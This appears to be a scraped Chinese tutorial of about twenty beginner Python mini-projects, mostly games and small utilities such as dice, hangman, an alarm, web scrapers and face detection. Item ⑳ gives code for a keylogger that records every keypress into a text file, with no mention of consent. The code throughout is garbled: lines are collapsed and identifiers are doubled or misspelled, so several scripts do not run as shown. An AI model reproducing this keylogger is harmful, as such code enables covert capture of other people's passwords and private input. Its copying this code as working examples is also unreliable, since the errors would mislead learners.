Python迷你项目方法教程

这篇文章主要介绍"Python迷你项目方法教程"，在日常操作中，相信很多人在Python迷你项目方法教程问题上存在疑惑，小编查阅了各式资料，整理出简单好用的操作方法，希望对大家解答"Python迷你项目方法教程"的疑惑有所帮助！接下来，请跟着小编一起来学习吧！

① 骰子模拟器

目的：创建一个程序来模拟掷骰子。

提示：当用户询问时，使用random模块生成一个1到6之间的数字。

② 石头剪刀布游戏

目标：创建一个命令行游戏，游戏者可以在石头、剪刀和布之间进行选择，与计算机PK。如果游戏者赢了，得分就会添加，直到结束游戏时，最终的分数会展示给游戏者。

提示：接收游戏者的选择，并且与计算机的选择进行比较。计算机的选择是从选择列表中随机选取的。如果游戏者获胜，则增加1分。

import random  choices = ["Rock", "Paper", "Scissors"]  computer = random.choice(choices)  player = False  cpu_score = 0  player_score = 0  while True:      player = input("Rock, Paper or  Scissors?").capitalize()      # 判断游戏者和电脑的选择      if player == computer:          print("Tie!")      elif player == "Rock":          if computer == "Paper":              print("You lose!", computer, "covers", player)              cpu_score+=1          else:              print("You win!", player, "smashes", computer)              player_score+=1      elif player == "Paper":          if computer == "Scissors":              print("You lose!", computer, "cut", player)              cpu_score+=1          else:              print("You win!", player, "covers", computer)              player_score+=1      elif player == "Scissors":          if computer == "Rock":              print("You lose...", computer, "smashes", player)              cpu_score+=1          else:              print("You win!", player, "cut", computer)              player_score+=1      elif player=='E':          print("Final Scores:")          print(f"CPU:{cpu_score}")          print(f"Plaer:{player_score}")          break      else:          print("That's not a valid play. Check your spelling!")      computer = random.choice(choices)

③ 随机密码生成器

目标：创建一个程序，可指定密码长度，生成一串随机密码。

提示：创建一个数字+大写字母+小写字母+特殊字符的字符串。根据设定的密码长度随机生成一串密码。

④ 句子生成器

目的：通过用户提供的输入，来生成随机且唯一的句子。

提示：以用户输入的名词、代词、形容词等作为输入，然后将所有数据添加到句子中，并将其组合返回。

⑤ 猜数字游戏

目的：在这个游戏中，任务是创建一个脚本，能够在一个范围内生成一个随机数。如果用户在三次机会中猜对了数字，那么用户赢得游戏，否则用户输。

提示：生成一个随机数，然后使用循环给用户三次猜测机会，根据用户的猜测打印最终的结果。

⑥ 故事生成器

目的：每次用户运行程序时，都会生成一个随机的故事。

提示：random模块可以用来选择故事的随机部分，内容来自每个列表里。

⑦ 邮件地址切片器

目的：编写一个Python脚本，可以从邮件地址中获取用户名和域名。

提示：使用@作为分隔符，将地址分为分为两个字符串。

⑧ 自动发送邮件

目的：编写一个Python脚本，可以使用这个脚本发送电子邮件。

提示：email库可用于发送电子邮件。

import smtplib   from email.message import EmailMessage  email = EmailMessage() ## Creating a object for EmailMessage  email['from'] = 'xyz name'   ## Person who is sending  email['to'] = 'xyz id'       ## Whom we are sending  email['subject'] = 'xyz subject'  ## Subject of email  email.set_content("Xyz content of email") ## content of email  with smtlib.SMTP(host='smtp.gmail.com',port=587)as smtp:    ## sending request to server       smtp.ehlo()          ## server object  smtp.starttls()      ## used to send data between server and client  smtp.login("email_id","Password") ## login id and password of gmail  smtp.send_message(email)   ## Sending email  print("email send")    ## Printing success message

⑨ 缩写词

目的：编写一个Python脚本，从给定的句子生成一个缩写词。

提示：你可以通过拆分和索引来获取第一个单词，然后将其组合。

⑩ 文字冒险游戏

目的：编写一个有趣的Python脚本，通过为路径选择不同的选项让用户进行有趣的冒险。

⑪ Hangman

目的：创建一个简单的命令行hangman游戏。

提示：创建一个密码词的列表并随机选择一个单词。现在将每个单词用下划线"_"表示，给用户提供猜单词的机会，如果用户猜对了单词，则将"_"用单词替换。

import time  import random  name = input("What is your name? ")  print ("Hello, " + name, "Time to play hangman!")  time.sleep(1)  print ("Start guessing...\n")  time.sleep(0.5)  ## A List Of Secret Words  words = ['python','programming','treasure','creative','medium','horror']  word = random.choice(words)  guesses = ''  turns = 5  while turns > 0:              failed = 0                 for char in word:              if char in guesses:                 print (char,end="")            else:              print ("_",end=""),                  failed += 1          if failed == 0:                  print ("\nYou won")           break                   guess = input("\nguess a character:")       guesses += guess                         if guess not in word:           turns -= 1                 print("\nWrong")             print("\nYou have", + turns, 'more guesses')           if turns == 0:                         print ("\nYou Lose")

⑫ 闹钟

目的：编写一个创建闹钟的Python脚本。

提示：你可以使用date-time模块创建闹钟，以及playsound库播放声音。

from datetime import datetime    from playsound import playsound  alarm_time = input("Enter the time of alarm to be set:HH:MM:SS\n")  alarm_hour=alarm_time[0:2]  alarm_minute=alarm_time[3:5]  alarm_seconds=alarm_time[6:8]  alarm_period = alarm_time[9:11].upper()  print("Setting up alarm..")  while True:      now = datetime.now()      current_hour = now.strftime("%I")     current_minute = now.strftime("%M")      current_seconds = now.strftime("%S")      current_period = now.strftime("%p")      if(alarm_period==current_period):          if(alarm_hour==current_hour):              if(alarm_minute==current_minute):                  if(alarm_seconds==current_seconds):                      print("Wake Up!")                      playsound('audio.mp3') ## download the alarm sound from link                      break

⑬ 有声读物

目的：编写一个Python脚本，用于将Pdf文件转换为有声读物。

提示：借助pyttsx3库将文本转换为语音。

安装：pyttsx3，PyPDF2

⑭ 天气应用

目的：编写一个Python脚本，接收城市名称并使用爬虫获取该城市的天气信息。

提示：你可以使用Beautifulsoup和requests库直接从谷歌主页爬取数据。

安装：requests，BeautifulSoup

from bs4 import BeautifulSoup  import requests  headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}  def weather(city):      citycity=city.replace(" ","+")      res = requests.get(f'https://www.google.com/search?q={city}&oq={city}&aqs=chrome.0.35i39l2j0l4j46j69i60.6128j1j7&sourceid=chrome&ie=UTF-8',headersheaders=headers)     print("Searching in google......\n")      soup = BeautifulSoup(res.text,'html.parser')        location = soup.select('#wob_loc')[0].getText().strip()       time = soup.select('#wob_dts')[0].getText().strip()          info = soup.select('#wob_dc')[0].getText().strip()       weather = soup.select('#wob_tm')[0].getText().strip()      print(location)      print(time)      print(info)      print(weather+"°C")   print("enter the city name")  city=input()  citycity=city+" weather"  weather(city)

⑮ 人脸检测

目的：编写一个Python脚本，可以检测图像中的人脸，并将所有的人脸保存在一个文件夹中。

提示：可以使用haar级联分类器对人脸进行检测。它返回的人脸坐标信息，可以保存在一个文件中。

安装：OpenCV。

下载：haarcascade_frontalface_default.xml

https://raw.githubusercontent.com/opencv/opencv/master/data/haarcascades/haarcascade_frontalface_default.xml

import cv2  # Load the cascade  face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')  # Read the input image  img = cv2.imread('images/img0.jpg')  # Convert into grayscale  gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)  # Detect faces  faces = face_cascade.detectMultiScale(gray, 1.3, 4)  # Draw rectangle around the faces  for (x, y, w, h) in faces:      cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)      crop_face = img[y:y + h, x:x + w]        cv2.imwrite(str(w) + str(h) + '_faces.jpg', crop_face)  # Display the output  cv2.imshow('img', img)  cv2.imshow("imgcropped",crop_face)  cv2.waitKey()

⑯ 提醒应用

目的：创建一个提醒应用程序，在特定的时间提醒你做一些事情(桌面通知)。

提示：Time模块可以用来跟踪提醒时间，toastnotifier库可以用来显示桌面通知。

安装：win10toast

from win10toast import ToastNotifier  import time  toaster = ToastNotifier()  try:      print("Title of reminder")      header = input()      print("Message of reminder")      text = input()      print("In how many minutes?")      time_min = input()      time_min=float(time_min)  except:      header = input("Title of reminder\n")      text = input("Message of remindar\n")      time_min=float(input("In how many minutes?\n")) time_mintime_min = time_min * 60  print("Setting up reminder..")  time.sleep(2)  print("all set!")  time.sleep(time_min)  toaster.show_toast(f"{header}",  f"{text}",  duration=10,  threaded=True)  while toaster.notification_active(): time.sleep(0.005)

⑰ 维基百科文章摘要

目的：使用一种简单的方法从用户提供的文章链接中生成摘要。

提示：你可以使用爬虫获取文章数据，通过提取生成摘要。

from bs4 import BeautifulSoup  import re  import requests  import heapq  from nltk.tokenize import sent_tokenize,word_tokenize  from nltk.corpus import stopwords  url = str(input("Paste the url"\n"))  num = int(input("Enter the Number of Sentence you want in the summary"))  num = int(num)  headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}  #url = str(input("Paste the url......."))  res = requests.get(url,headersheaders=headers)  summary = "" soup = BeautifulSoup(res.text,'html.parser')   content = soup.findAll("p")  for text in content:      summary +=text.text   def clean(text):      text = re.sub(r"\[[0-9]*\]"," ",text)      texttext = text.lower()      text = re.sub(r'\s+'," ",text)      text = re.sub(r","," ",text)      return text  summary = clean(summary)  print("Getting the data......\n")  ##Tokenixing  sent_tokens = sent_tokenize(summary)  summary = re.sub(r"[^a-zA-z]"," ",summary)  word_tokens = word_tokenize(summary)  ## Removing Stop words  word_frequency = {}  stopwords =  set(stopwords.words("english"))  for word in word_tokens:      if word not in stopwords:          if word not in word_frequency.keys():              word_frequency[word]=1          else:              word_frequency[word] +=1  maxmaximum_frequency = max(word_frequency.values())  print(maximum_frequency)           for word in word_frequency.keys():      word_frequency[word] = (word_frequency[word]/maximum_frequency)  print(word_frequency)  sentences_score = {}  for sentence in sent_tokens:      for word in word_tokenize(sentence):          if word in word_frequency.keys():             if (len(sentence.split(" "))) <30:                  if sentence not in sentences_score.keys():                      sentences_score[sentence] = word_frequency[word]                  else:                      sentences_score[sentence] += word_frequency[word]  print(max(sentences_score.values()))  def get_key(val):       for key, value in sentences_score.items():           if val == value:               return key   key = get_key(max(sentences_score.values()))  print(key+"\n")  print(sentences_score)  summary = heapq.nlargest(num,sentences_score,key=sentences_score.get)  print(" ".join(summary))  summary = " ".join(summary)

⑱ 获取谷歌搜索结果

目的：创建一个脚本，可以根据查询条件从谷歌搜索获取数据。

from bs4 import BeautifulSoup   import requests  headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}  def google(query):      queryquery = query.replace(" ","+")      try:          url = f'https://www.google.com/search?q={query}&oq={query}&aqs=chrome..69i57j46j69i59j35i39j0j46j0l2.4948j0j7&sourceid=chrome&ie=UTF-8'          res = requests.get(url,headersheaders=headers)          soup = BeautifulSoup(res.text,'html.parser')      except:          print("Make sure you have a internet connection")      try:          try:              ans = soup.select('.RqBzHd')[0].getText().strip()          except:              try:                  title=soup.select('.AZCkJd')[0].getText().strip()                  try:                      ans=soup.select('.e24Kjd')[0].getText().strip()                  except:                      ans=""                  ans=f'{title}\n{ans}'              except:                  try:                      ans=soup.select('.hgKElc')[0].getText().strip()                  except:                      ans=soup.select('.kno-rdesc span')[0].getText().strip()      except:          ans = "can't find on google"      return ans  result = google(str(input("Query\n")))  print(result)

获取结果如下。

⑲ 货币换算器

目的：编写一个Python脚本，可以将一种货币转换为其他用户选择的货币。

提示：使用Python中的API，或者通过forex-python模块来获取实时的货币汇率。

安装：forex-python

⑳ 键盘记录器

目的：编写一个Python脚本，将用户按下的所有键保存在一个文本文件中。

提示：pynput是Python中的一个库，用于控制键盘和鼠标的移动，它也可以用于制作键盘记录器。简单地读取用户按下的键，并在一定数量的键后将它们保存在一个文本文件中。

from pynput.keyboard import Key, Controller,Listener  import time  keyboard = Controller()  keys=[]  def on_press(key):      global keys      #keys.append(str(key).replace("'",""))      strstring = str(key).replace("'","")      keys.append(string)      main_string = "".join(keys)      print(main_string)      if len(main_string)>15:        with open('keys.txt', 'a') as f:            f.write(main_string)               keys= []       def on_release(key):      if key == Key.esc:          return False  with listener(on_presson_press=on_press,on_releaseon_release=on_release) as listener:      listener.join()

文章朗读器

目的：编写一个Python脚本，自动从提供的链接读取文章。

import pyttsx3  import requests  from bs4 import BeautifulSoup  url = str(input("Paste article url\n"))  def content(url):    res = requests.get(url)    soup = BeautifulSoup(res.text,'html.parser')    articles = []    for i in range(len(soup.select('.p'))):      article = soup.select('.p')[i].getText().strip()      articles.append(article)      contents = " ".join(articles)    return contents  engine = pyttsx3.init('sapi5')  voices = engine.getProperty('voices')  engine.setProperty('voice', voices[0].id)  def speak(audio):    engine.say(audio)    engine.runAndWait()  contentcontents = content(url)  ## print(contents)      ## In case you want to see the content  #engine.save_to_file  #engine.runAndWait() ## In case if you want to save the article as a audio file

短网址生成器

目的：编写一个Python脚本，使用API缩短给定的URL。

from __future__ import with_statement  import contextlib  try:      from urllib.parse import urlencode  except ImportError:      from urllib import urlencode  try:      from urllib.request import urlopen  except ImportError:      from urllib2 import urlopen  import sys  def make_tiny(url):      request_url = ('http://tinyurl.com/api-create.php?' +       urlencode({'url':url}))      with contextlib.closing(urlopen(request_url)) as response:          return response.read().decode('utf-8')  def main():      for tinyurl in map(make_tiny, sys.argv[1:]):          print(tinyurl)  if __name__ == '__main__':      main()  -----------------------------OUTPUT------------------------  python url_shortener.py https://www.wikipedia.org/  https://tinyurl.com/buf3qt3

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